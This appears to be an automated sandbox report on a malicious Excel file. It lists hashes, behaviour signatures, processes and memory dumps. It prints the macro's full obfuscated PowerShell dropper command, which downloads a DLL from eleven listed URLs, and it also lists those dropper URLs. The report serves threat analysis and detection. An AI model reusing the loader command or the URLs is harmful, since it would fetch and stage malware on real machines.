Analysis

  • max time kernel
    53s
  • max time network
    61s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 21:17

General

  • Target

    8e9d6b417ea3ee16fcfb79a18585926f7667c3e800c26998b70c8bca07774d60.xls

  • Size

    88KB

  • MD5

    e499a61d7eccf4ca418cef1470b053da

  • SHA1

    cd1bb9426abdd21729d81560642b8284918a469a

  • SHA256

    8e9d6b417ea3ee16fcfb79a18585926f7667c3e800c26998b70c8bca07774d60

  • SHA512

    746d00a46b219614d0cf55b746fe1aeae0dda3a6c538b3e8f6bb239a2612ddbc21bcbeab2ce19149f362dc3abbc8b70f946c9d4ab54ed43dde9eb86e39fe1cc1

  • SSDEEP

    1536:2yehv7q2Pjx45uoDGTj+5xtekEvi8/dgL8EsAeE9jbDXQACkWvgrPE4nWHPNc2Ax:2yehv7q2Pjx45uoDGTj+5xtekEvi8/dG

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/

exe.dropper

https://1566xueshe.com/wp-includes/z92ZVqHH8/

exe.dropper

http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/

exe.dropper

http://o2omart.co.in/infructuose/m4mgt2MeU/

exe.dropper

http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/

exe.dropper

http://www.ama.cu/jpr/VVP/

exe.dropper

http://actividades.laforetlanguages.com/wp-admin/dU8Ds/

exe.dropper

https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/

exe.dropper

https://edu-media.cn/wp-admin/0JAE/

exe.dropper

https://iacademygroup.cl/office/G42LJPLkl/

exe.dropper

https://znzhou.top/mode/0Qb/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8e9d6b417ea3ee16fcfb79a18585926f7667c3e800c26998b70c8bca07774d60.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\SYSTEM32\wscript.exe
      wscript c:\programdata\bbiwjdf.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3960

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2uqt1zyu.xgy.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    4KB

    MD5

    714275ea321076fbbbad1dd529862a44

    SHA1

    e03076ab45e8dc1b45185e31c97a697f8044990b

    SHA256

    5683d3a499d0a29cf804da3384e8f593cae096b78706860ece1787f82fef908c

    SHA512

    3b6d25ca57199fb313ab61d4e1b539ab32f0abced8edd72e33583fb3fa840b4bc87941e0c0c53eb08bf81bbc3fc42b590f07b59e1abbcc3f0d542c1dfb834298

  • \??\c:\programdata\bbiwjdf.vbs

    Filesize

    1KB

    MD5

    7baad56cc483132b8b9cb7a14722c3b1

    SHA1

    602f7933c443765697bb178ca137f17f81856f0d

    SHA256

    31cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee

    SHA512

    b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f

  • memory/3484-19-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-16-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-10-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-11-0x00007FFF109E0000-0x00007FFF109F0000-memory.dmp

    Filesize

    64KB

  • memory/3484-7-0x00007FFF131B0000-0x00007FFF131C0000-memory.dmp

    Filesize

    64KB

  • memory/3484-12-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-6-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-13-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-4-0x00007FFF131B0000-0x00007FFF131C0000-memory.dmp

    Filesize

    64KB

  • memory/3484-18-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-20-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-0-0x00007FFF131B0000-0x00007FFF131C0000-memory.dmp

    Filesize

    64KB

  • memory/3484-17-0x00007FFF109E0000-0x00007FFF109F0000-memory.dmp

    Filesize

    64KB

  • memory/3484-9-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-15-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-14-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-3-0x00007FFF131B0000-0x00007FFF131C0000-memory.dmp

    Filesize

    64KB

  • memory/3484-2-0x00007FFF131B0000-0x00007FFF131C0000-memory.dmp

    Filesize

    64KB

  • memory/3484-21-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-50-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-8-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-1-0x00007FFF531CD000-0x00007FFF531CE000-memory.dmp

    Filesize

    4KB

  • memory/3484-5-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-121-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-122-0x00007FFF531CD000-0x00007FFF531CE000-memory.dmp

    Filesize

    4KB

  • memory/3484-123-0x00007FFF53130000-0x00007FFF53325000-memory.dmp

    Filesize

    2.0MB

  • memory/3960-116-0x000001B8354D0000-0x000001B8354F2000-memory.dmp

    Filesize

    136KB

  • memory/3960-140-0x000001B84E720000-0x000001B84EEC6000-memory.dmp

    Filesize

    7.6MB